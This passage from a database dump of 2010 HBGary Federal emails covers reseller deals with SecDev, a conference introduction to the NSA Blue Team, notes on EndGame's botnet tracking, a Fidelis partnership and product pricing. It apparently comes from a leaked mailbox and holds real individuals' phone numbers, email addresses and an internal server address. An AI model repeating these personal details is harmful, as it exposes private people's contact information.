1pm EST and 4-5 EST. Give me a shout whenever\'s best 613-755-4007&nbsp;Best,Arnav&nbsp;On 2010-05-18, at 4:22 PM, Aaron Barr wrote:Hi Arnav,&nbsp;Sure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They build and manage the product. &nbsp;Penny will get you the reseller agreement. &nbsp;We use the HBGary products as our foundation for enterprise incident response engagements. &nbsp;I will send you some information on this. &nbsp;Can we talk briefly tomorrow?&nbsp;AaronSent from my iPadOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Hi Aaron,&nbsp;Thanks for this. It was good to speak to you on Friday.&nbsp;Looking forward to receiving a reseller agreement/other materials that we can go through.&nbsp;Best wishes,Arnav&nbsp;&nbsp;Arnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engaged&nbsp;World Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.&nbsp;Consider the environment. Please don\'t print this e-mail unless you really need to.&nbsp;&nbsp;On 2010-05-14, at 3:49 PM, Aaron Barr wrote:Sent from my iPadBegin forwarded message:From:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Date:&nbsp;May 14, 2010 11:14:20 AM EDTTo:&nbsp;Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;Cc:&nbsp;Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;Subject:&nbsp;IntroductionScott,Let me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet). &nbsp;Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.Nart,Scott managed the Blue Team at NSA and is putting together this years conference. &nbsp;He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc. &nbsp;I mentioned to him I thought your talk would be appropriate and engaging.Aaron&nbsp;&nbsp;&lt;HBGary-VAR Agrmt (6-08)1 (3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder pro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware Report_FINAL_FINAL.pdf&gt;&nbsp;&nbsp;&nbsp;',2484,'aaron_hbgary_com/2484.html'),(6899,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005008.M736198P14101Q1754.eml','\"Ted Vera\" <ted@hbgary.com>','Re: EndGame Results','cool.  are those open? or behind a password?\r\n\r\n\r\nOn Jun 1, 2010, at 4:25 PM, Ted Vera wrote:\r\n\r\n> You can now get to the results in real-time:\r\n> \r\n> http://70.91.171.242/results/\r\n> \r\n> Ted\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2348,'aaron_hbgary_com/2348.html'),(6900,'2010-06-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005008.M962888P14101Q1755.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: EndGame Results','You have to login, use the same U/P I sent you before.\r\n\r\nOn Tue, Jun 1, 2010 at 2:26 PM, Aaron Barr  wrote:\r\n> cool.  are those open? or behind a password?\r\n>\r\n>\r\n> On Jun 1, 2010, at 4:25 PM, Ted Vera wrote:\r\n>\r\n>> You can now get to the results in real-time:\r\n>>\r\n>> http://70.91.171.242/results/\r\n>>\r\n>> Ted\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',13286,'aaron_hbgary_com/13286.html'),(6901,'2010-06-01','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005009.M187469P14101Q1756.eml','\"Ted Vera\" <ted@hbgary.com>','Re: EndGame Results','ok.  yeah it put me right into the directory and was thinking that was because I used the same u/p before.\r\n\r\n\r\nOn Jun 1, 2010, at 4:27 PM, Ted Vera wrote:\r\n\r\n> You have to login, use the same U/P I sent you before.\r\n> \r\n> On Tue, Jun 1, 2010 at 2:26 PM, Aaron Barr  wrote:\r\n>> cool.  are those open? or behind a password?\r\n>> \r\n>> \r\n>> On Jun 1, 2010, at 4:25 PM, Ted Vera wrote:\r\n>> \r\n>>> You can now get to the results in real-time:\r\n>>> \r\n>>> http://70.91.171.242/results/\r\n>>> \r\n>>> Ted\r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n> \r\n> \r\n> \r\n> -- \r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9550,'aaron_hbgary_com/9550.html'),(6902,'2010-06-01','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','/aaron@hbgary.com/new/1297005009.M437891P14101Q1757.eml','\"Nart Villeneuve\" <n.villeneuve@secdev.ca>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','Nart,\r\n\r\nOur REBL Symposium is scheduled for 15-18 June in Maryland.  I would be open\r\nto discussing a potential briefing if you are interested.\r\n\r\nThanks,\r\n\r\nScott K. Brown\r\nTechnical Director\r\nNSA Blue Team\r\n(410) 854-6529\r\nsbrown@dewnet.ncsc.mil\r\n\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Nart Villeneuve [mailto:n.villeneuve@secdev.ca] \r\nSent: Monday, May 31, 2010 9:18 AM\r\nTo: Aaron Barr\r\nCc: Scott K. Brown\r\nSubject: Re: Introduction\r\n\r\nHi Aaron & Scott,\r\n\r\nThanks for the introduction. It would be great to discuss malware attacks\r\nand possibly present -- I\'m not sure when the conference is exactly. I\'ll be\r\nin Estonia for the CCD COE conference in mid-June.\r\n\r\nThanks.\r\nNart\r\n\r\nOn 05/14/2010 11:14 AM, Aaron Barr wrote:\r\n> Scott,\r\n> Let me introduce Nart Villeneuve.  Nart is the CTO for SecDev.  Most\r\nrecently they have put together and presented some very interesting findings\r\non the cyber attacks against the office of the Dali Lama (ghostnet) and some\r\nbroader related attacks (shadownet).  Their investigative techniques are\r\nthorough and would likely provide some good information to the group at the\r\nREBL conference.\r\n> \r\n> Nart,\r\n> Scott managed the Blue Team at NSA and is putting together this years\r\nconference.  He is looking for some interesting speakers concerning malware,\r\nmalware analysis, threats, integration of capabilities, etc.  I mentioned to\r\nhim I thought your talk would be appropriate and engaging.\r\n> \r\n> Aaron\r\n',12853,'aaron_hbgary_com/12853.html'),(6903,'2010-06-01','\"Traci Wei\" <twei@capsllc.net>','/aaron@hbgary.com/new/1297005014.M271248P14101Q1759.eml','first-2010announce@first.org','FIRST 2010 Tuesday Keynote Highlight - Dave Aitel of Immunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear Colleague,\r\n\r\n&nbsp;\r\n\r\nOn Tuesday, June 15th @0900, FIRST.Org welcomes\r\nDave Aitel, CTO of Immunity to the 22nd Annual FIRST\r\nConference.&nbsp; Dave joined NSA as a research scientist at age 18 where he\r\nworked for six years.&nbsp; In 2002 he founded Immunity &#8211; a software\r\nsecurity company.\r\n\r\n&nbsp;\r\n\r\n&#8220;Why Attackers Win&#8221; &#8211; Abstract:\r\n\r\n&nbsp;\r\n\r\nIncident response happens when your secure development\r\nlifecycle fails. At Immunity, my job is to directly attack the overall process\r\nof SDLC of large companies in a measurable, concrete way. This talk sheds light\r\non lessons learned, metrics, and growing trends in the attack space.\r\n\r\n&nbsp;\r\n\r\nCheck out the full conference lineup at the conference website\r\nhttp://conference.first.org. \r\n\r\n&nbsp;\r\n\r\nWhat Else Is Happening This Year?\r\n\r\nWhat else do we have in store? Here is a rundown of events\r\nspecifically for FIRST Conference Attendees (all times EDT):\r\n\r\n&nbsp;\r\n\r\nPre-Conference FIFA World Cup:\r\nEngland vs. USA Viewing Party &#8211; Saturday, June 12 @2:30PM\r\n\r\nArriving early? Join your\r\ncolleagues at the Indigo Bar (hotel lobby bar) on Saturday to watch the England\r\nvs. USA match. The hotel will be serving some fun game day treats to all hotel\r\nguests.&nbsp; Note:&nbsp; This is an informal pre-conference gathering and\r\ncash bar &#8211; FIRST will not be covering any food or beverage.\r\n\r\n&nbsp;\r\n\r\nNewbie Meet &amp; Greet &#8211;\r\nSunday, June 13 @6:30PM-7:00PM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\nAre you new member of FIRST? Is\r\nthis your first time at the FIRST conference? Not a member and want to learn\r\nmore about what FIRST can do for you?&nbsp; Head over to the Newbie Meet &amp;\r\nGreet on Sunday @ 6:30PM to meet with the FIRST Steering Committee and learn\r\nmore about the FIRST organization over cocktails and hors d&#8216;oeuvres.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nIce Breaker Reception &#8211;\r\nSunday, June 13 @7:00PM-9:00PM\r\n\r\nKick-off conference week at the\r\nAnnual Ice Breaker Reception Sunday evening.&nbsp; Mingle with your colleagues\r\nover cocktails and hors d&#8217;oeuvres.&nbsp; Special entertainment and\r\nsurprises in store!\r\n\r\n&nbsp;\r\n\r\nVendor Showcase &#8211; Tuesday,\r\nJune 15 @5:00PM-7:30PM\r\n\r\nNetwork with your colleagues and\r\nvisit with our conference sponsors Tuesday evening.&nbsp; Special raffles,\r\ngoodies and beer!\r\n\r\n&nbsp;\r\n\r\nMANDIANT Webinar @FIRST 2010\r\n&#8211; Wednesday, June 16 @12:30PM \r\n\r\nStop by the MANDIANT table\r\nWednesday during lunch.&nbsp; MANDIANT&#8217;S Kris Harms, Principal Consultant\r\nand Michael J. Graven, Director will be recording their &#8220;State of the\r\nHack&#8221; webinar series live. \r\n\r\n&nbsp;\r\n\r\nBanquet Dinner &#8211;\r\nWednesday, June 16 @7:00PM &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \r\n\r\nJoin us for the annual Banquet\r\ndinner &#8211; network with colleagues while enjoying great food, drink and\r\nlive entertainment!\r\n\r\n&nbsp;\r\n\r\nDon&#8217;t Forget to Register!\r\n\r\nIt&#8217;s JUNE! Don&#8217;t forget to get your\r\nregistrations in!&nbsp; Head over to http://conference.first.org\r\nto Register Today!&nbsp; Standard registration rates will expire June 4th\r\n&#8211; $1800 US for member and $2200 US for non-members. \r\n\r\n&nbsp;\r\n\r\nBook Your Lodging! Discounted Rate Is Still Available!\r\n\r\nHaven&#8217;t booked yet? A very limited amount of rooms are\r\nstill available to our attendees at the discounted rate.&nbsp; A block of rooms\r\nat the InterContinental Miami is being held for conference attendees at a\r\ndiscount rate of US $189.00 depending on room type and dates of arrival and\r\ndeparture.&nbsp; Rates will be honored three days before and three days after\r\nthe official meeting dates, based on availability.&nbsp; Visit http://conference.first.org\r\nand click on the Hotel Booking button for our reservation link.&nbsp; \r\n\r\n&nbsp;\r\n\r\nIf you have any additional questions or concerns, please\r\ndon&#8217;t hesitate to contact us at first-2010@first.org.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nFollow our conference updates on Twitter @firstdotorg (http://www.twitter.com/firstdotorg).\r\n\r\n\r\n&nbsp;\r\n\r\nKind regards,\r\n\r\nTraci\r\n\r\n&nbsp;\r\n\r\nTraci Wei\r\n\r\nConference &amp; Marketing Coordinator\r\n\r\n..............................................................\r\n\r\nConference &amp; Publication Services, LLC\r\n\r\n213 W. Institute Place, Suite 405\r\n\r\nChicago, IL 60610\r\n\r\nd. 312.268.6784\r\n\r\np. 312.372.1255 ext. 107\r\n\r\nf.&nbsp; 312.372.1427\r\n\r\nt.&nbsp; @capsllc\r\n\r\nhttp://www.capsllc.net\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16127,'aaron_hbgary_com/16127.html'),(6904,'2010-06-01','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005014.M50432P14101Q1758.eml','\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com,\"Greg Hoglund\" <greg@hbgary.com>','Notes from End Game Telecon','I tried to keep notes during the call -- my chicken scratch follows:\r\n\r\nEndGames is tracking 60-65 botnets at this time.  They have a ton of\r\nconflicker data, they\'re plugged in and pull millions of related IPs\r\ndaily.  Their data is generally described in their tech docs.  They\r\nare pulling in data from IDS sensors, rolling in geolocation\r\ninformation, and anonymous proxies / surfing next Quarter.\r\n\r\nEndGames does not do any active scanning -- all passive.  They\r\nintercept botnet messages and collect / log to their database.\r\n\r\nThe \"SPAM\" category is a generic filter that indicates the IP has been\r\nused to pass SPAM.  Higher chance for false positives with SPAM\r\nfilter.  They try to correlate SPAM activities to known botnets, if\r\nthey cannot correlate, then the event gets a generic SPAM label.\r\n\r\nConfidence %:  Documented in technical docs.  Primarily time-based.\r\nLooking at the overall length of infection for a given IP.  Looking at\r\nhalf-life / decay of infections on specific IPs.  The algorithm is\r\ncurrently very simple and time is the highest weighted factor,\r\nalthough the nature of the event is also weighted, ie conficker has\r\nhigher weight than SPAM event.  Plan to start discriminating between\r\nend-user nodes with dynamic IPs vs Enterprise / static IPs.  Static\r\nIPs would decay slower than dynamic.\r\n\r\nEndGames gets malware data from various sources and REs it to pull out\r\nC2 and other traits that can be used for signature / correlation.\r\nThey have Sinkholes for Conficker A and B which collect IPs of\r\ninfected hosts.Cannot provide samples because they do not collect\r\nsamples from specific IPs.  They are ID\'ing based on their\r\nobservations of IPs, taking advantage of their hooks into various\r\nbotnets.  That said, they could probably gest us some samples and or\r\nmanual tests for Conficker A and B which we could use to verify /\r\neliminate false positives or negatives.\r\n\r\n-- \r\nTed\r\n',16661,'aaron_hbgary_com/16661.html'),(6905,'2010-06-01','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297005014.M560444P14101Q1760.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Enabling HB Gary Incident Response Teams with Fidelis XPS','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nCan you suggest some times for\r\nthe call regarding arranging resale/referral programs with Kurt, Gary and I? \r\n\r\n&nbsp;\r\n\r\nThanks!\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David \r\nSent: Tuesday, May 25, 2010 5:22 PM\r\nTo: \'Aaron Barr\'\r\nCc: Bertone, Kurt; Benedetti, Gary; Kraemer, Gary; Sweeney, Stacey;\r\nMancini, Jerry; Harvey, Kevin\r\nSubject: Enabling HB Gary Incident Response Teams with Fidelis XPS\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThanks for your time to discuss how we can work together to\r\nintegrate Fidelis XPS in a Scout form factor into your incident response\r\nofferings at HB Gary Federal.&nbsp; I would like to bring some of the broader\r\nFidelis team into the discussion (cc&#8217;d on this e-mail), and work on some\r\nnext steps. \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAgreements &#8211; you should have received\r\ncounter-signed partner agreements back from Gary Kramer (CFO).&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAccess to VMs and API guide &#8211; with the\r\nsigned agreement, you will get a portal account.&nbsp; Kurt Bertone (VP,\r\nStrategic Alliances) will ensure the portal account process gets kicked\r\noff.&nbsp; Should we issue you the account, or is there a technical lead\r\non your team whose name we should put the account it?&nbsp; \r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI&#8217;d recommend you download and install\r\nFidelis XPS CommandPost VM and Fidelis XPS Direct VM.&nbsp; These two will be\r\nalmost identical in functionality to the Scout platform. \r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fidelis\r\nXPS CommandPost VM requirements: VMware vSphere, 2 vCPU, 2GB memory, 100GB HDD,\r\n1 vNIC\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fidelis\r\nXPS Direct VM requirements:&nbsp; VMware vSphere, 8 vCPU, 16GB memory, 30GB\r\nHDD, 4 vNICs\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nThe API guide will be included, and covers the\r\nvarying integration scenarios.&nbsp; Kurt and Jerry Mancini (VP, Engineering)\r\ncan organize resources to provide technical support on the API.&nbsp; Our file\r\nextraction API is changing to make it much easier with our 6.2 release, so it\r\nmay make sense to schedule a call with Jerry to discuss.&nbsp; I&#8217;ve also\r\nattached the latest version of my proposed integration guide in case its\r\nuseful.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nTraining &#8211; Fidelis will provide a\r\ncomplimentary technical training session either in Bethesda or web-based,\r\ndepending which is preferred for the HB Gary Federal team, led by Kevin\r\nHarvey (Senior Sales Engineer), with assistance from Jerry on the API.&nbsp; &nbsp;There\r\nis also a chance that Kevin may be in Colorado Springs, so we may be able to\r\nhave that as the location.&nbsp; Getting dates confirmed quickly will be\r\nimportant to meet the aggressive launch date.\r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMarketing Launch &#8211; Stacey Sweeney (VP,\r\nMarketing) will lead this from the Fidelis side. &nbsp;I&#8217;ve discussed\r\nsupporting FIRST in mid-June, so we&#8217;d need to move quickly.&nbsp;\r\nWe&#8217;d like to get HB Gary featured on our partner web site with a\r\ndescription of the incident response offerings, and would also be interested in\r\na joint press release.&nbsp; We also likely could provide some collateral on\r\nour products for the event.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nProcuring a Scout &#8211; As we discussed, we\r\nare very excited about the Scout driving incident response opportunities.&nbsp;\r\nIn order to best determine how this business model will work, we propose that\r\nwe make available a Scout at an aggressive discount with a 3-6 month license\r\nincluded.&nbsp; At the end of the included license period, we get together and\r\nmutually review the results and determine how best to license the system moving\r\nforward.&nbsp; Given your reseller / leave behind proposal interests, I think\r\nthere could be a lot of potentially models. As I mentioned, we have the ability\r\nto be very aggressive on the Scout 1 cu ft form factor, as we are transitioning\r\nto a laptop-based model.&nbsp; Kurt, Gary and I will lead this process\r\nfrom Fidelis.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nReseller / leave behind proposal &#8211; I see\r\ntwo different opportunities here, and they aren&#8217;t mutually\r\nexclusive.&nbsp; Kurt leads our Channel Partner program and can provide\r\ndetails on becoming an authorized reseller.&nbsp; Additionally, since you are\r\nprimarily targeting federal customers, it may be difficult for HB Gary Federal\r\nto sell the solution without access to particular contract vehicles.&nbsp; We\r\nalso have a referral agreement program, lead out of our sales\r\norganizations.&nbsp; Gary Benedetti (VP, Sales) can provide the details.\r\nI&#8217;d suggest that we schedule a call between the four of us to discuss\r\nnext steps, as one or more may make sense.&nbsp; Aaron &#8211; can you\r\nprovide a few times you have available in the next week?&nbsp; \r\n\r\n&nbsp;\r\n\r\n&middot;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&#8220;Go to market plan&#8221; &#8211; we like\r\nto put together a very simple document so that we understand the goals and\r\nobjectives of the partnership.&nbsp; This shouldn&#8217;t be more than 2 pages,\r\ncovering roadmap and rules of engagement document so we know how to engage in\r\nthe field.&nbsp; Gary Benedetti and I can help on the Fidelis\r\nside.&nbsp; We&#8217;ll start the template and provide it to you.&nbsp; \r\n\r\n&nbsp;\r\n\r\nWe are excited about this offering and look forward to\r\nhelping launch it!\r\n\r\n&nbsp;\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        Fidelis Security Systems\r\n        \r\n        \r\n       \r\n      \r\n      \r\n      \r\n     \r\n     \r\n      \r\n      \r\n       \r\n        \r\n        David\r\n        Etue, CIPP/G\r\n        VP, Products and Markets \r\n        \r\n        \r\n        4416 East West Highway, Suite 310\r\n        Bethesda, MD 20814 \r\n        \r\n       \r\n       \r\n        \r\n        david.etue@fidelissecurity.com\r\n        http://www.fidelissecurity.com\r\n        \r\n        \r\n        \r\n        \r\n         \r\n          \r\n          tel:\r\n          \r\n          fax: \r\n          mobile: \r\n          \r\n          \r\n          (240) 396-2445 \r\n          (301) 652-7097\r\n          (202) 669-3628 \r\n          \r\n         \r\n        \r\n        \r\n       \r\n      \r\n      \r\n     \r\n    \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n \r\n  \r\n  \r\n   \r\n    \r\n    Always have my latest info\r\n    \r\n    \r\n    Want a signature like this?\r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1226,'aaron_hbgary_com/1226.html'),(6906,'2010-06-01','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005014.M787864P14101Q1761.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Arnav Manchanda\" <a.manchanda@secdev.ca>','RE: Introduction','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nOK, here is the long and short\r\n\r\n&nbsp;\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYes you can buy Responder Pro as a perpetual license.&nbsp; It&#8217;s\r\n$10,200 and $2040 per year in maintenance.&nbsp;&nbsp; The consulting copy is\r\n$7500 per year but since you are a partner, you can buy the perpetual.&nbsp; It\r\ncomes with one copy of FastDump Pro.&nbsp; Additional copies of FastDump Pro\r\nare $100 per copy.&nbsp; Digital DNA is a separate component and it is $2000\r\nper year.&nbsp; It only works with Responder Pro, it does not work with Field\r\nEdition.&nbsp; .&nbsp; You would receive a reseller discount off the product\r\npricing.\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe also have CLiP pricing for consultants.&nbsp; This is a &#8220;timed\r\nlicense&#8221; of Active Defense, or DDNA for ePO or DDNA for Encase.&nbsp;\r\nThis allows you to use scan 1000&#8217;s of machines at once.&nbsp; Some\r\ncompanies like to use it as a &#8220;healthcheck&#8221;.&nbsp; This is kind of\r\nlike a &#8220;pen test&#8221; where it&#8217;s a two week license and you scan\r\nX amount of nodes.&nbsp; Pricing starts at $5 per node.&nbsp; This way, instead\r\nof looking at 15 machines, you can take a percentage of a company and see their\r\nthreat profile.&nbsp;&nbsp; We also have an engagement license which typically goes\r\nfor 8 weeks and this again is based per node and is timed.&nbsp; This allows\r\nyou to further look into an organization and let them know what is going\r\non.&nbsp; May seem like a lot upfront, but basically once you get a handle on\r\nthe machines, what is in there etc, you can work with them to then do\r\nremediation management.&nbsp; Where you offer a service that checks weekly\r\n(like a managed service) what is going on.&nbsp; 8 Week licenses start at $10\r\nper node.&nbsp; If they want managed service we do this on a case by case\r\nbasis.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca] \r\nSent: Tuesday, June 01, 2010 1:07 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: \'Aaron Barr\'\r\nSubject: Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Penny,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe have a job upcoming for a client that requires the use of\r\nFast Dump/Responder Pro across multiple machines (~15). What would be the price\r\nfor us if we bought that product outright and use it for this and future jobs,\r\nvs. what would be the per engagement license cost/how would it work?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe license we currently have is a trial/eval one.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for this information.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-01, at 2:52 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSure you can modify agreement.&nbsp; With regards to products\r\nbeing used for consulting services, you should purchase a copy to do\r\nthat.&nbsp; I&#8217;m assuming you have Responder Pro.&nbsp; We also have AD\r\nlicenses designed for consultants so that you can charge per engagement fees to\r\ncustomers\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Arnav Manchanda\r\n[mailto:a.manchanda@secdev.ca]&nbsp;\r\nSent:&nbsp;Monday, May 31, 2010\r\n5:34 AM\r\nTo:&nbsp;Arnav Manchanda\r\nCc:&nbsp;Penny Leavy-Hoglund;\r\n\'Aaron Barr\'\r\nSubject:&nbsp;Re: Introduction\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDear Penny, Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am writing to follow up on the email below regarding\r\nmarketing both HBGary products and services in Canada, and to modify the\r\nreseller agreement that you sent me as required.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron: I also wanted to clarify whether we could use the\r\nlicense that you gave Nart for our own commercial work, and what the modalities\r\nwould be on that. We have a job coming up that would require HBGary product\r\ndeployment, so I wanted to ensure that we have the right commercial agreement\r\nin place on that end.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-05-24, at 4:54 PM, Arnav Manchanda wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHello Penny,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI am writing to follow-up on the reseller agreement that you\r\nsent - it looks fine from the standpoint of reselling HB Gary\'s products in\r\nCanada.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn terms of reselling the package of HBGary services in\r\nCanada, could we somehow incorporate that into this agreement, or would you\r\nprefer this to be on a case by case basis? I had a conversation with Aaron on\r\nThursday regarding reselling services and how the agreement could be to split\r\nthe margin 2/3 - 1/3 between HBGary and SecDev. This would also address the\r\nintegration that HBGary is working on with 